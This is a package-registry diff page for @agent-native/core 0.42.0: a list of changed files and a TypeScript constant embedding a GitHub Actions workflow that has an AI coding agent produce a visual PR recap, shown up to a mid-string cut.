@agent-native/core 0.41.1 → 0.42.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/action.d.ts +13 -1
- package/dist/action.d.ts.map +1 -1
- package/dist/action.js.map +1 -1
- package/dist/agent/production-agent.d.ts +8 -0
- package/dist/agent/production-agent.d.ts.map +1 -1
- package/dist/agent/production-agent.js +93 -0
- package/dist/agent/production-agent.js.map +1 -1
- package/dist/cli/app-skill.d.ts +16 -0
- package/dist/cli/app-skill.d.ts.map +1 -1
- package/dist/cli/app-skill.js +33 -3
- package/dist/cli/app-skill.js.map +1 -1
- package/dist/cli/pr-visual-recap-workflow.d.ts +1 -1
- package/dist/cli/pr-visual-recap-workflow.d.ts.map +1 -1
- package/dist/cli/pr-visual-recap-workflow.js +1 -1
- package/dist/cli/pr-visual-recap-workflow.js.map +1 -1
- package/dist/cli/recap.d.ts.map +1 -1
- package/dist/cli/recap.js +14 -3
- package/dist/cli/recap.js.map +1 -1
- package/dist/cli/skills.d.ts +34 -3
- package/dist/cli/skills.d.ts.map +1 -1
- package/dist/cli/skills.js +172 -48
- package/dist/cli/skills.js.map +1 -1
- package/dist/client/AssistantChat.d.ts.map +1 -1
- package/dist/client/AssistantChat.js +2 -2
- package/dist/client/AssistantChat.js.map +1 -1
- package/dist/client/agent-chat-adapter.d.ts.map +1 -1
- package/dist/client/agent-chat-adapter.js +172 -5
- package/dist/client/agent-chat-adapter.js.map +1 -1
- package/dist/client/blocks/library/AnnotatedCodeBlock.d.ts +19 -0
- package/dist/client/blocks/library/AnnotatedCodeBlock.d.ts.map +1 -1
- package/dist/client/blocks/library/AnnotatedCodeBlock.js +5 -57
- package/dist/client/blocks/library/AnnotatedCodeBlock.js.map +1 -1
- package/dist/client/blocks/library/ApiEndpointBlock.d.ts.map +1 -1
- package/dist/client/blocks/library/ApiEndpointBlock.js +116 -7
- package/dist/client/blocks/library/ApiEndpointBlock.js.map +1 -1
- package/dist/client/blocks/library/DataModelBlock.d.ts.map +1 -1
- package/dist/client/blocks/library/DataModelBlock.js +75 -9
- package/dist/client/blocks/library/DataModelBlock.js.map +1 -1
- package/dist/client/blocks/library/DiffBlock.d.ts +1 -1
- package/dist/client/blocks/library/DiffBlock.d.ts.map +1 -1
- package/dist/client/blocks/library/DiffBlock.js +195 -34
- package/dist/client/blocks/library/DiffBlock.js.map +1 -1
- package/dist/client/blocks/library/HighlightedCode.d.ts +1 -1
- package/dist/client/blocks/library/HighlightedCode.js +1 -1
- package/dist/client/blocks/library/HighlightedCode.js.map +1 -1
- package/dist/client/blocks/library/annotation-rail.d.ts +96 -0
- package/dist/client/blocks/library/annotation-rail.d.ts.map +1 -0
- package/dist/client/blocks/library/annotation-rail.js +120 -0
- package/dist/client/blocks/library/annotation-rail.js.map +1 -0
- package/dist/client/blocks/library/api-endpoint.config.d.ts +31 -6
- package/dist/client/blocks/library/api-endpoint.config.d.ts.map +1 -1
- package/dist/client/blocks/library/api-endpoint.config.js +30 -6
- package/dist/client/blocks/library/api-endpoint.config.js.map +1 -1
- package/dist/client/blocks/library/code.d.ts.map +1 -1
- package/dist/client/blocks/library/code.js +32 -15
- package/dist/client/blocks/library/code.js.map +1 -1
- package/dist/client/blocks/library/columns.d.ts.map +1 -1
- package/dist/client/blocks/library/columns.js +56 -35
- package/dist/client/blocks/library/columns.js.map +1 -1
- package/dist/client/blocks/library/data-model.config.d.ts +17 -0
- package/dist/client/blocks/library/data-model.config.d.ts.map +1 -1
- package/dist/client/blocks/library/data-model.config.js +15 -0
- package/dist/client/blocks/library/data-model.config.js.map +1 -1
- package/dist/client/blocks/library/diff.config.d.ts +28 -6
- package/dist/client/blocks/library/diff.config.d.ts.map +1 -1
- package/dist/client/blocks/library/diff.config.js +30 -6
- package/dist/client/blocks/library/diff.config.js.map +1 -1
- package/dist/client/blocks/types.d.ts +2 -2
- package/dist/client/blocks/types.d.ts.map +1 -1
- package/dist/client/blocks/types.js.map +1 -1
- package/dist/client/rich-markdown-editor/DragHandle.d.ts.map +1 -1
- package/dist/client/rich-markdown-editor/DragHandle.js +75 -9
- package/dist/client/rich-markdown-editor/DragHandle.js.map +1 -1
- package/dist/client/rich-markdown-editor/RegistryBlockNode.d.ts +25 -1
- package/dist/client/rich-markdown-editor/RegistryBlockNode.d.ts.map +1 -1
- package/dist/client/rich-markdown-editor/RegistryBlockNode.js +29 -6
- package/dist/client/rich-markdown-editor/RegistryBlockNode.js.map +1 -1
- package/dist/client/rich-markdown-editor/SharedRichEditor.d.ts +8 -1
- package/dist/client/rich-markdown-editor/SharedRichEditor.d.ts.map +1 -1
- package/dist/client/rich-markdown-editor/SharedRichEditor.js +5 -1
- package/dist/client/rich-markdown-editor/SharedRichEditor.js.map +1 -1
- package/dist/extensions/actions.d.ts.map +1 -1
- package/dist/extensions/actions.js +159 -12
- package/dist/extensions/actions.js.map +1 -1
- package/dist/extensions/store.d.ts +21 -0
- package/dist/extensions/store.d.ts.map +1 -1
- package/dist/extensions/store.js +33 -1
- package/dist/extensions/store.js.map +1 -1
- package/dist/server/recap-image-route.d.ts.map +1 -1
- package/dist/server/recap-image-route.js +12 -3
- package/dist/server/recap-image-route.js.map +1 -1
- package/dist/templates/workspace-core/.agents/skills/extensions/SKILL.md +30 -5
- package/docs/content/plan-plugin.md +107 -0
- package/docs/content/skills-guide.md +8 -0
- package/docs/content/visual-plans.md +2 -0
- package/package.json +1 -1
- package/src/templates/workspace-core/.agents/skills/extensions/SKILL.md +30 -5
|
@@ -7,5 +7,5 @@
|
|
|
7
7
|
* recap.spec.ts fails if these drift. Regenerate from the YAML with the snippet
|
|
8
8
|
* in recap.spec.ts.
|
|
9
9
|
*/
|
|
10
|
-
export declare const PR_VISUAL_RECAP_WORKFLOW_YML = "name: PR Visual Recap\n\n# Turns every PR into a \"visual code review\" \u2014 a reverse plan \u2014 by letting a real\n# coding agent RUN THE REPO'S visual-recap SKILL against the diff. The agent\n# (Claude Code by default, or Codex) reads the skill, reasons over the change,\n# publishes an Agent-Native Plan via the plan MCP tools, and writes the plan URL\n# to recap-url.txt. The workflow then screenshots that plan in headless Chrome,\n# uploads the PNG to the plan app's signed public image route, and upserts ONE\n# sticky PR comment with the inline screenshot + the interactive link.\n#\n# Design notes:\n# - Plain `pull_request` (NOT `pull_request_target`) so fork code can never see\n# the publish/agent secrets. Fork PRs are a silent no-op.\n# - The `gate` job is a cheap switch: drafts, forks, bot authors, and the\n# missing-secret case short-circuit with NO comment and NO compute. Merging\n# this workflow before the secrets exist is a safe no-op.\n# - The recap is INFORMATIONAL ONLY. It is not a required check and failures\n# surface as an explanatory sticky comment, never a red X on unrelated code.\n# - Backend is selectable with the `VISUAL_RECAP_AGENT` repo variable\n# (claude | codex; default claude). Model and reasoning depth are tunable with\n# `VISUAL_RECAP_MODEL` (e.g. gpt-5.5) and `VISUAL_RECAP_REASONING`\n# (none|minimal|low|medium|high|xhigh; Codex only). The CLI invocation is\n# auto-detected: local source inside this monorepo, the published\n# @agent-native/core elsewhere \u2014 no repo variable needed.\n# - Only two secrets are required: PLAN_RECAP_TOKEN (publish) and the chosen\n# backend's API key. PLAN_RECAP_APP_URL defaults to the hosted plan app.\n# - Nothing here is deterministic: the skill's instructions drive the recap.\n\non:\n # Run on PRs into any base branch \u2014 the generated workflow ships to repos whose\n # default branch may not be `main`. The gate job below still no-ops drafts,\n # forks, bots, and the missing-secret case, so this stays cheap.\n pull_request:\n types: [opened, synchronize, reopened, ready_for_review]\n\npermissions:\n contents: read\n issues: write\n pull-requests: write\n\nconcurrency:\n group: pr-visual-recap-${{ github.event.pull_request.number }}\n cancel-in-progress: true\n\nenv:\n VISUAL_RECAP_AGENT: ${{ vars.VISUAL_RECAP_AGENT || 'claude' }}\n\njobs:\n # --------------------------------------------------------------------------\n # Cheap gate: decide whether to do any work at all. Sets run=false (silent\n # no-op) for drafts, forks, bot authors, or when the publish secret / the\n # chosen backend's API key is absent.\n # --------------------------------------------------------------------------\n gate:\n name: Gate\n runs-on: ubuntu-latest\n outputs:\n run: ${{ steps.decide.outputs.run }}\n steps:\n - id: decide\n uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7\n env:\n # Presence-only signals \u2014 we never expose the secret VALUES to the gate.\n # PLAN_RECAP_APP_URL defaults to the hosted app, so only the token is required.\n HAS_PLAN: ${{ secrets.PLAN_RECAP_TOKEN != '' }}\n HAS_ANTHROPIC: ${{ secrets.ANTHROPIC_API_KEY != '' }}\n HAS_OPENAI: ${{ secrets.OPENAI_API_KEY != '' }}\n AGENT: ${{ env.VISUAL_RECAP_AGENT }}\n with:\n script: |\n const pr = context.payload.pull_request;\n const reasons = [];\n\n if (!pr) reasons.push('no pull_request payload');\n if (pr && pr.draft) reasons.push('draft PR');\n\n // Fork PRs: head repo differs from this repo. Plain pull_request runs\n // fork code with NO secrets, so publishing would fail anyway \u2014 skip.\n const headRepo = pr && pr.head && pr.head.repo && pr.head.repo.full_name;\n if (pr && headRepo && headRepo !== process.env.GITHUB_REPOSITORY) {\n reasons.push(`fork PR (${headRepo})`);\n }\n\n // Skip noisy automated authors.\n const login = (pr && pr.user && pr.user.login || '').toLowerCase();\n const botAuthors = ['dependabot[bot]', 'dependabot', 'renovate[bot]', 'renovate'];\n if (botAuthors.includes(login)) reasons.push(`bot author (${login})`);\n if (pr && pr.user && pr.user.type === 'Bot') reasons.push('bot author (type=Bot)');\n\n // Publish secret must be configured \u2014 otherwise this is a no-op so the\n // workflow can be merged before secrets exist.\n if (process.env.HAS_PLAN !== 'true') reasons.push('PLAN_RECAP_TOKEN not configured');\n\n // The chosen backend's API key must be present.\n const agent = (process.env.AGENT || 'claude').toLowerCase();\n if (agent === 'codex') {\n if (process.env.HAS_OPENAI !== 'true') reasons.push('OPENAI_API_KEY not configured (codex backend)');\n } else {\n if (process.env.HAS_ANTHROPIC !== 'true') reasons.push('ANTHROPIC_API_KEY not configured (claude backend)');\n }\n\n const run = reasons.length === 0;\n core.setOutput('run', run ? 'true' : 'false');\n core.info(run ? `Visual recap will run (${agent}).` : `Visual recap skipped: ${reasons.join('; ')}`);\n\n # --------------------------------------------------------------------------\n # Recap: collect the diff, let the agent run the skill + publish, screenshot\n # the result, and upsert the sticky comment.\n # --------------------------------------------------------------------------\n recap:\n name: Generate visual recap\n needs: gate\n if: needs.gate.outputs.run == 'true'\n runs-on: ubuntu-latest\n env:\n PLAN_RECAP_APP_URL: ${{ secrets.PLAN_RECAP_APP_URL || 'https://plan.agent-native.com' }}\n PLAN_RECAP_TOKEN: ${{ secrets.PLAN_RECAP_TOKEN }}\n GH_TOKEN: ${{ github.token }}\n PR_NUMBER: ${{ github.event.pull_request.number }}\n HEAD_SHA: ${{ github.event.pull_request.head.sha }}\n VISUAL_RECAP_MODEL: ${{ vars.VISUAL_RECAP_MODEL }}\n VISUAL_RECAP_REASONING: ${{ vars.VISUAL_RECAP_REASONING }}\n steps:\n - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1\n with:\n fetch-depth: 0\n\n # Resolve the CLI invocation once: dogfood local source inside this\n # monorepo, otherwise the published package. No repo variable needed. The\n # pnpm setup/install steps below run ONLY for the local-source path, so the\n # generated workflow works out-of-box in npm/yarn consumer repos (which\n # have no pnpm-lock.yaml) by falling back to `npx @agent-native/core`.\n - name: Resolve recap CLI\n id: cli\n run: |\n if [ -f packages/core/src/cli/index.ts ]; then\n echo \"RECAP_CLI=pnpm exec tsx packages/core/src/cli/index.ts\" >> \"$GITHUB_ENV\"\n echo \"local=true\" >> \"$GITHUB_OUTPUT\"\n else\n echo \"RECAP_CLI=npx -y @agent-native/core@latest\" >> \"$GITHUB_ENV\"\n echo \"local=false\" >> \"$GITHUB_OUTPUT\"\n fi\n\n - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v4.4.0\n if: steps.cli.outputs.local == 'true'\n\n - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0\n with:\n node-version: \"22\"\n cache: ${{ steps.cli.outputs.local == 'true' && 'pnpm' || '' }}\n\n - name: Install workspace (local source only)\n if: steps.cli.outputs.local == 'true'\n run: pnpm install --frozen-lockfile\n\n # Collect a BOUNDED diff between the PR base and head. We exclude lockfiles,\n # build output, and snapshots (noise), and cap the byte size \u2014 over the cap\n # we set `huge=true` so the agent is told to produce a summarized recap.\n - name: Collect bounded diff\n id: diff\n env:\n BASE_SHA: ${{ github.event.pull_request.base.sha }}\n run: |\n set -euo pipefail\n git diff --no-color \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\n . \\\n ':(exclude)pnpm-lock.yaml' \\\n ':(exclude)**/dist/**' \\\n ':(exclude)**/*.snap' \\\n ':(exclude)**/*.lock' \\\n > recap.diff || true\n git diff --stat --no-color \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\n . \\\n ':(exclude)pnpm-lock.yaml' \\\n ':(exclude)**/dist/**' \\\n ':(exclude)**/*.snap' \\\n ':(exclude)**/*.lock' \\\n > recap.stat || true\n\n BYTES=$(wc -c < recap.diff | tr -d ' ')\n CHANGED=$(git diff --name-only \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\n . \\\n ':(exclude)pnpm-lock.yaml' \\\n ':(exclude)**/dist/**' \\\n ':(exclude)**/*.snap' \\\n ':(exclude)**/*.lock' \\\n | wc -l | tr -d ' ')\n echo \"bytes=$BYTES\" >> \"$GITHUB_OUTPUT\"\n echo \"changed=$CHANGED\" >> \"$GITHUB_OUTPUT\"\n\n # ~600KB cap.\n if [ \"$BYTES\" -gt 614400 ]; then\n echo \"huge=true\" >> \"$GITHUB_OUTPUT\"\n else\n echo \"huge=false\" >> \"$GITHUB_OUTPUT\"\n fi\n\n # Tiny diffs (<= 1 changed file AND <= 8 changed lines) aren't worth a\n # recap \u2014 skip generation cleanly.\n LINES=$(grep -cE '^[+-]' recap.diff || true)\n if [ \"$CHANGED\" -le 1 ] && [ \"${LINES:-0}\" -le 8 ]; then\n echo \"tiny=true\" >> \"$GITHUB_OUTPUT\"\n else\n echo \"tiny=false\" >> \"$GITHUB_OUTPUT\"\n fi\n\n # Secret pre-scan: refuse to hand a diff that looks like it leaks\n # credentials to the agent. Prints { suppressed, reason } and always exits 0.\n - name: Secret scan\n id: scan\n if: steps.diff.outputs.tiny != 'true'\n run: |\n set -uo pipefail\n SCAN_JSON=\"$($RECAP_CLI recap scan --diff recap.diff || echo '{}')\"\n echo \"json=$SCAN_JSON\" >> \"$GITHUB_OUTPUT\"\n SUPPRESSED=$(node -e 'try{process.stdout.write(JSON.parse(process.argv[1]).suppressed?\"true\":\"false\")}catch{process.stdout.write(\"false\")}' \"$SCAN_JSON\")\n echo \"suppressed=$SUPPRESSED\" >> \"$GITHUB_OUTPUT\"\n\n # Find the planId from the previous sticky comment so a re-push REPLACES the\n # same hosted plan (synchronize updates in place, no orphaned plans).\n - name: Read previous plan id\n id: prev\n continue-on-error: true\n run: |\n set -euo pipefail\n PLAN_ID=\"$($RECAP_CLI recap comment find-plan-id --repo \"$GITHUB_REPOSITORY\" --issue \"$PR_NUMBER\" --token \"$GH_TOKEN\")\"\n echo \"plan_id=$PLAN_ID\" >> \"$GITHUB_OUTPUT\"\n\n # Build the agent prompt = the repo's visual-recap SKILL.md + a task wrapper.\n - name: Build recap prompt\n id: prompt\n if: steps.diff.outputs.tiny != 'true' && steps.scan.outputs.suppressed != 'true'\n run: |\n set -euo pipefail\n PREV=\"\"\n if [ -n \"${{ steps.prev.outputs.plan_id }}\" ]; then PREV=\"--prev-plan-id ${{ steps.prev.outputs.plan_id }}\"; fi\n HUGE=\"\"\n if [ \"${{ steps.diff.outputs.huge }}\" = \"true\" ]; then HUGE=\"--huge\"; fi\n $RECAP_CLI recap build-prompt \\\n --diff recap.diff --stat recap.stat \\\n --pr \"$PR_NUMBER\" --head \"$HEAD_SHA\" \\\n --app-url \"$PLAN_RECAP_APP_URL\" \\\n --out recap-prompt.md \\\n $HUGE $PREV\n\n # Wire the plan MCP server for the chosen backend, then run the agent. The\n # agent follows the skill, calls create-visual-recap + set-resource-visibility,\n # and writes the published plan URL to recap-url.txt. continue-on-error so a\n # failed agent run becomes an explanatory comment, not a red X.\n - name: Run agent (Claude Code)\n id: claude\n if: env.VISUAL_RECAP_AGENT == 'claude' && steps.diff.outputs.tiny != 'true' && steps.scan.outputs.suppressed != 'true'\n continue-on-error: true\n env:\n ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}\n run: |\n set -uo pipefail\n MCP_CONFIG=\"$RUNNER_TEMP/plan-mcp.json\"\n node -e 'const fs=require(\"fs\");fs.writeFileSync(process.argv[1],JSON.stringify({mcpServers:{plan:{type:\"http\",url:process.env.PLAN_RECAP_APP_URL.replace(/\\/$/,\"\")+\"/_agent-native/mcp\",headers:{Authorization:\"Bearer \"+process.env.PLAN_RECAP_TOKEN}}}}))' \"$MCP_CONFIG\"\n # VISUAL_RECAP_MODEL picks the Claude model; reasoning depth is model-driven\n # for Claude Code, so VISUAL_RECAP_REASONING only applies to the Codex backend.\n CLAUDE_ARGS=(-p \"$(cat recap-prompt.md)\" --mcp-config \"$MCP_CONFIG\" --allowedTools \"Read,Write,Bash(git diff:*),mcp__plan__create-visual-recap,mcp__plan__set-resource-visibility\" --permission-mode dontAsk)\n if [ -n \"${VISUAL_RECAP_MODEL:-}\" ]; then CLAUDE_ARGS+=(--model \"$VISUAL_RECAP_MODEL\"); fi\n npx -y @anthropic-ai/claude-code@2 \"${CLAUDE_ARGS[@]}\" || true\n rm -f \"$MCP_CONFIG\" || true\n\n - name: Run agent (Codex)\n id: codex\n if: env.VISUAL_RECAP_AGENT == 'codex' && steps.diff.outputs.tiny != 'true' && steps.scan.outputs.suppressed != 'true'\n continue-on-error: true\n env:\n OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}\n run: |\n set -uo pipefail\n mkdir -p \"$HOME/.codex\"\n # JSON.stringify the URL into the TOML value so a stray quote/newline\n # in PLAN_RECAP_APP_URL can't break out of the string (TOML basic\n # strings share JSON's escaping); the key/env name stay literal.\n node -e 'const fs=require(\"fs\");const url=process.env.PLAN_RECAP_APP_URL.replace(/\\/$/,\"\")+\"/_agent-native/mcp\";fs.writeFileSync(process.env.HOME+\"/.codex/config.toml\",\"[mcp_servers.plan]\\nurl = \"+JSON.stringify(url)+\"\\nbearer_token_env_var = \\\"PLAN_RECAP_TOKEN\\\"\\n\")'\n # VISUAL_RECAP_MODEL (e.g. gpt-5.5) and VISUAL_RECAP_REASONING\n # (none|minimal|low|medium|high|xhigh) tune the Codex run.\n CODEX_ARGS=(exec --sandbox workspace-write --skip-git-repo-check)\n if [ -n \"${VISUAL_RECAP_MODEL:-}\" ]; then CODEX_ARGS+=(--model \"$VISUAL_RECAP_MODEL\"); fi\n # Validate reasoning against the known enum before embedding it in the\n # codex `-c` TOML override, so an unexpected value can't alter the config.\n case \"${VISUAL_RECAP_REASONING:-}\" in\n none|minimal|low|medium|high|xhigh)\n CODEX_ARGS+=(-c \"model_reasoning_effort=\\\"$VISUAL_RECAP_REASONING\\\"\") ;;\n \"\") ;;\n *) echo \"Ignoring invalid VISUAL_RECAP_REASONING: $VISUAL_RECAP_REASONING\" ;;\n esac\n npx -y @openai/codex@0 \"${CODEX_ARGS[@]}\" \"$(cat recap-prompt.md)\" || true\n\n # The agent's only hand-off: recap-url.txt with the published plan URL.\n - name: Read plan URL\n id: url\n if: steps.diff.outputs.tiny != 'true' && steps.scan.outputs.suppressed != 'true'\n run: |\n set -uo pipefail\n PLAN_URL=\"\"\n if [ -f recap-url.txt ]; then PLAN_URL=\"$(tr -d '\\r\\n' < recap-url.txt | tr -d ' ')\"; fi\n echo \"plan_url=$PLAN_URL\" >> \"$GITHUB_OUTPUT\"\n if [ -n \"$PLAN_URL\" ]; then echo \"ok=true\" >> \"$GITHUB_OUTPUT\"; else echo \"ok=false\" >> \"$GITHUB_OUTPUT\"; fi\n\n # Screenshot the published plan in headless Chrome and upload the PNG to the\n # plan app's signed public image route. Best-effort: never fails the job.\n - name: Screenshot + upload\n id: shot\n if: steps.url.outputs.ok == 'true'\n continue-on-error: true\n env:\n # Pass the agent-produced plan URL through the environment, never via\n # ${{ }} interpolation into the run script: recap-url.txt is untrusted\n # agent output, so inlining it would be a shell-injection vector.\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\n run: |\n set -uo pipefail\n pnpm exec playwright install --with-deps chromium 2>/dev/null || npx -y playwright@1 install --with-deps chromium || true\n SHOT_JSON=\"$($RECAP_CLI recap shot --url \"$PLAN_URL\" --token \"$PLAN_RECAP_TOKEN\" --app-url \"$PLAN_RECAP_APP_URL\" --out recap.png || echo '{}')\"\n IMAGE_URL=$(node -e 'try{process.stdout.write(JSON.parse(process.argv[1]).imageUrl||\"\")}catch{process.stdout.write(\"\")}' \"$SHOT_JSON\")\n echo \"image_url=$IMAGE_URL\" >> \"$GITHUB_OUTPUT\"\n if [ -f recap.png ]; then echo \"captured=true\" >> \"$GITHUB_OUTPUT\"; else echo \"captured=false\" >> \"$GITHUB_OUTPUT\"; fi\n\n - name: Upload recap screenshot artifact\n if: steps.shot.outputs.captured == 'true'\n uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2\n with:\n name: pr-visual-recap-${{ github.event.pull_request.number }}\n path: recap.png\n if-no-files-found: ignore\n retention-days: 14\n\n # Upsert the single sticky comment: inline screenshot + link on success,\n # suppressed / failed / tiny variants otherwise. Runs even on a tiny diff\n # so a prior recap comment is refreshed (not left pointing at a stale SHA).\n - name: Upsert sticky comment\n if: always()\n env:\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\n RECAP_IMAGE_URL: ${{ steps.shot.outputs.image_url }}\n SUPPRESSED: ${{ steps.scan.outputs.suppressed }}\n SUPPRESSED_JSON: ${{ steps.scan.outputs.json }}\n DIFF_HUGE: ${{ steps.diff.outputs.huge }}\n DIFF_TINY: ${{ steps.diff.outputs.tiny }}\n run: |\n set -euo pipefail\n ARGS=(recap comment upsert --repo \"$GITHUB_REPOSITORY\" --issue \"$PR_NUMBER\" --token \"$GH_TOKEN\")\n # On a tiny diff only REFRESH an existing recap comment \u2014 never create a\n # new one \u2014 so a tiny push doesn't add noise but also can't leave a\n # stale prior recap behind.\n if [ \"${DIFF_TINY:-}\" = \"true\" ]; then ARGS+=(--update-only); fi\n $RECAP_CLI \"${ARGS[@]}\"\n";
|
|
10
|
+
export declare const PR_VISUAL_RECAP_WORKFLOW_YML = "name: PR Visual Recap\n\n# Turns every PR into a \"visual code review\" \u2014 a reverse plan \u2014 by letting a real\n# coding agent RUN THE REPO'S visual-recap SKILL against the diff. The agent\n# (Claude Code by default, or Codex) reads the skill, reasons over the change,\n# publishes an Agent-Native Plan via the plan MCP tools, and writes the plan URL\n# to recap-url.txt. The workflow then screenshots that plan in headless Chrome,\n# uploads the PNG to the plan app's signed public image route, and upserts ONE\n# sticky PR comment with the inline screenshot + the interactive link.\n#\n# Design notes:\n# - Plain `pull_request` (NOT `pull_request_target`) so fork code can never see\n# the publish/agent secrets. Fork PRs are a silent no-op.\n# - The `gate` job is a cheap switch: drafts, forks, bot authors, and the\n# missing-secret case short-circuit with NO comment and NO compute. Merging\n# this workflow before the secrets exist is a safe no-op.\n# - The recap is INFORMATIONAL ONLY. It is not a required check and failures\n# surface as an explanatory sticky comment, never a red X on unrelated code.\n# - Backend is selectable with the `VISUAL_RECAP_AGENT` repo variable\n# (claude | codex; default claude). Model and reasoning depth are tunable with\n# `VISUAL_RECAP_MODEL` (e.g. gpt-5.5) and `VISUAL_RECAP_REASONING`\n# (none|minimal|low|medium|high|xhigh; Codex only). The CLI invocation is\n# auto-detected: local source inside this monorepo, the published\n# @agent-native/core elsewhere \u2014 no repo variable needed.\n# - Only two secrets are required: PLAN_RECAP_TOKEN (publish) and the chosen\n# backend's API key. PLAN_RECAP_APP_URL defaults to the hosted plan app.\n# - Nothing here is deterministic: the skill's instructions drive the recap.\n\non:\n # Run on PRs into any base branch \u2014 the generated workflow ships to repos whose\n # default branch may not be `main`. The gate job below still no-ops drafts,\n # forks, bots, and the missing-secret case, so this stays cheap.\n pull_request:\n types: [opened, synchronize, reopened, ready_for_review]\n\npermissions:\n contents: read\n issues: write\n pull-requests: write\n\nconcurrency:\n group: pr-visual-recap-${{ github.event.pull_request.number }}\n cancel-in-progress: true\n\nenv:\n VISUAL_RECAP_AGENT: ${{ vars.VISUAL_RECAP_AGENT || 'claude' }}\n\njobs:\n # --------------------------------------------------------------------------\n # Cheap gate: decide whether to do any work at all. Sets run=false (silent\n # no-op) for drafts, forks, bot authors, or when the publish secret / the\n # chosen backend's API key is absent.\n # --------------------------------------------------------------------------\n gate:\n name: Gate\n runs-on: ubuntu-latest\n outputs:\n run: ${{ steps.decide.outputs.run }}\n steps:\n - id: decide\n uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7\n env:\n # Presence-only signals \u2014 we never expose the secret VALUES to the gate.\n # PLAN_RECAP_APP_URL defaults to the hosted app, so only the token is required.\n HAS_PLAN: ${{ secrets.PLAN_RECAP_TOKEN != '' }}\n HAS_ANTHROPIC: ${{ secrets.ANTHROPIC_API_KEY != '' }}\n HAS_OPENAI: ${{ secrets.OPENAI_API_KEY != '' }}\n AGENT: ${{ env.VISUAL_RECAP_AGENT }}\n with:\n script: |\n const pr = context.payload.pull_request;\n const reasons = [];\n\n if (!pr) reasons.push('no pull_request payload');\n if (pr && pr.draft) reasons.push('draft PR');\n\n // Fork PRs: head repo differs from this repo. Plain pull_request runs\n // fork code with NO secrets, so publishing would fail anyway \u2014 skip.\n const headRepo = pr && pr.head && pr.head.repo && pr.head.repo.full_name;\n if (pr && headRepo && headRepo !== process.env.GITHUB_REPOSITORY) {\n reasons.push(`fork PR (${headRepo})`);\n }\n\n // Skip noisy automated authors.\n const login = (pr && pr.user && pr.user.login || '').toLowerCase();\n const botAuthors = ['dependabot[bot]', 'dependabot', 'renovate[bot]', 'renovate'];\n if (botAuthors.includes(login)) reasons.push(`bot author (${login})`);\n if (pr && pr.user && pr.user.type === 'Bot') reasons.push('bot author (type=Bot)');\n\n // Publish secret must be configured \u2014 otherwise this is a no-op so the\n // workflow can be merged before secrets exist.\n if (process.env.HAS_PLAN !== 'true') reasons.push('PLAN_RECAP_TOKEN not configured');\n\n // The chosen backend's API key must be present.\n const agent = (process.env.AGENT || 'claude').toLowerCase();\n if (agent === 'codex') {\n if (process.env.HAS_OPENAI !== 'true') reasons.push('OPENAI_API_KEY not configured (codex backend)');\n } else {\n if (process.env.HAS_ANTHROPIC !== 'true') reasons.push('ANTHROPIC_API_KEY not configured (claude backend)');\n }\n\n const run = reasons.length === 0;\n core.setOutput('run', run ? 'true' : 'false');\n core.info(run ? `Visual recap will run (${agent}).` : `Visual recap skipped: ${reasons.join('; ')}`);\n\n # --------------------------------------------------------------------------\n # Recap: collect the diff, let the agent run the skill + publish, screenshot\n # the result, and upsert the sticky comment.\n # --------------------------------------------------------------------------\n recap:\n name: Generate visual recap\n needs: gate\n if: needs.gate.outputs.run == 'true'\n runs-on: ubuntu-latest\n env:\n PLAN_RECAP_APP_URL: ${{ secrets.PLAN_RECAP_APP_URL || 'https://plan.agent-native.com' }}\n PLAN_RECAP_TOKEN: ${{ secrets.PLAN_RECAP_TOKEN }}\n GH_TOKEN: ${{ github.token }}\n PR_NUMBER: ${{ github.event.pull_request.number }}\n HEAD_SHA: ${{ github.event.pull_request.head.sha }}\n VISUAL_RECAP_MODEL: ${{ vars.VISUAL_RECAP_MODEL }}\n VISUAL_RECAP_REASONING: ${{ vars.VISUAL_RECAP_REASONING }}\n steps:\n - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1\n with:\n fetch-depth: 0\n\n # Resolve the CLI invocation once: dogfood local source inside this\n # monorepo, otherwise the published package. No repo variable needed. The\n # pnpm setup/install steps below run ONLY for the local-source path, so the\n # generated workflow works out-of-box in npm/yarn consumer repos (which\n # have no pnpm-lock.yaml) by falling back to `npx @agent-native/core`.\n - name: Resolve recap CLI\n id: cli\n run: |\n if [ -f packages/core/src/cli/index.ts ]; then\n echo \"RECAP_CLI=pnpm exec tsx packages/core/src/cli/index.ts\" >> \"$GITHUB_ENV\"\n echo \"local=true\" >> \"$GITHUB_OUTPUT\"\n else\n echo \"RECAP_CLI=npx -y @agent-native/core@latest\" >> \"$GITHUB_ENV\"\n echo \"local=false\" >> \"$GITHUB_OUTPUT\"\n fi\n\n - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v4.4.0\n if: steps.cli.outputs.local == 'true'\n\n - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0\n with:\n node-version: \"22\"\n cache: ${{ steps.cli.outputs.local == 'true' && 'pnpm' || '' }}\n\n - name: Install workspace (local source only)\n if: steps.cli.outputs.local == 'true'\n run: pnpm install --frozen-lockfile\n\n # Collect a BOUNDED diff between the PR base and head. We exclude lockfiles,\n # build output, and snapshots (noise), and cap the byte size \u2014 over the cap\n # we set `huge=true` so the agent is told to produce a summarized recap.\n - name: Collect bounded diff\n id: diff\n env:\n BASE_SHA: ${{ github.event.pull_request.base.sha }}\n run: |\n set -euo pipefail\n git diff --no-color \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\n . \\\n ':(exclude)pnpm-lock.yaml' \\\n ':(exclude)**/dist/**' \\\n ':(exclude)**/*.snap' \\\n ':(exclude)**/*.lock' \\\n > recap.diff || true\n git diff 